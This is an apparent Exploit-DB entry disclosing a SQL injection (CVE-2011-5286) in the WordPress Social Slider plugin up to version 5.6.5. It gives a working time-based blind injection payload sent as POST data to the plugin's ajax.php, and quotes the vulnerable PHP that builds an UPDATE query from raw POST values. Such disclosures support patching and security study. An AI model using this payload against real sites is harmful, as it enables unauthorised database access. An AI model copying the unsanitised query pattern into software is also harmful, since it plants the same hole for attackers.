WordPress Social Slider plugin <= 5.6.5 - SQL Injection Vulnerability

2011-08-05T00:00:00
ID EDB-ID:17617
Type exploitdb
Reporter Miroslav Stampar
Modified 2011-08-05T00:00:00

Description

WordPress Social Slider plugin <= 5.6.5 - SQL Injection Vulnerability. CVE-2011-5286. Webapps exploit for php platform

                                        
                                            # Exploit Title: Social Slider &lt;= 5.6.5 SQL Injection Vulnerability
# Date: 2011-08-05
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/social-slider-2.zip
# Version: 5.6.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/social-slider-2/ajax.php
 action=ZapiszPozycje&rA[]=1 AND SLEEP(5)

---------------
Vulnerable code
---------------
&lt;?php 
require_once(dirname(__FILE__).'/../../../wp-config.php');
global $wpdb, $table_prefix;

$SocialSliderArray = $_POST['rA'];

if (mysql_real_escape_string($_POST['action']) == "ZapiszPozycje")
    {
    $lC = 1;
    foreach ($SocialSliderArray as $recordIDValue)
        {
        $query = "UPDATE ".$table_prefix."socialslider SET lp = ".$lC." WHERE id = ".$recordIDValue;
        mysql_query($query);
        $lC = $lC + 1;    
        }
    }
?&gt;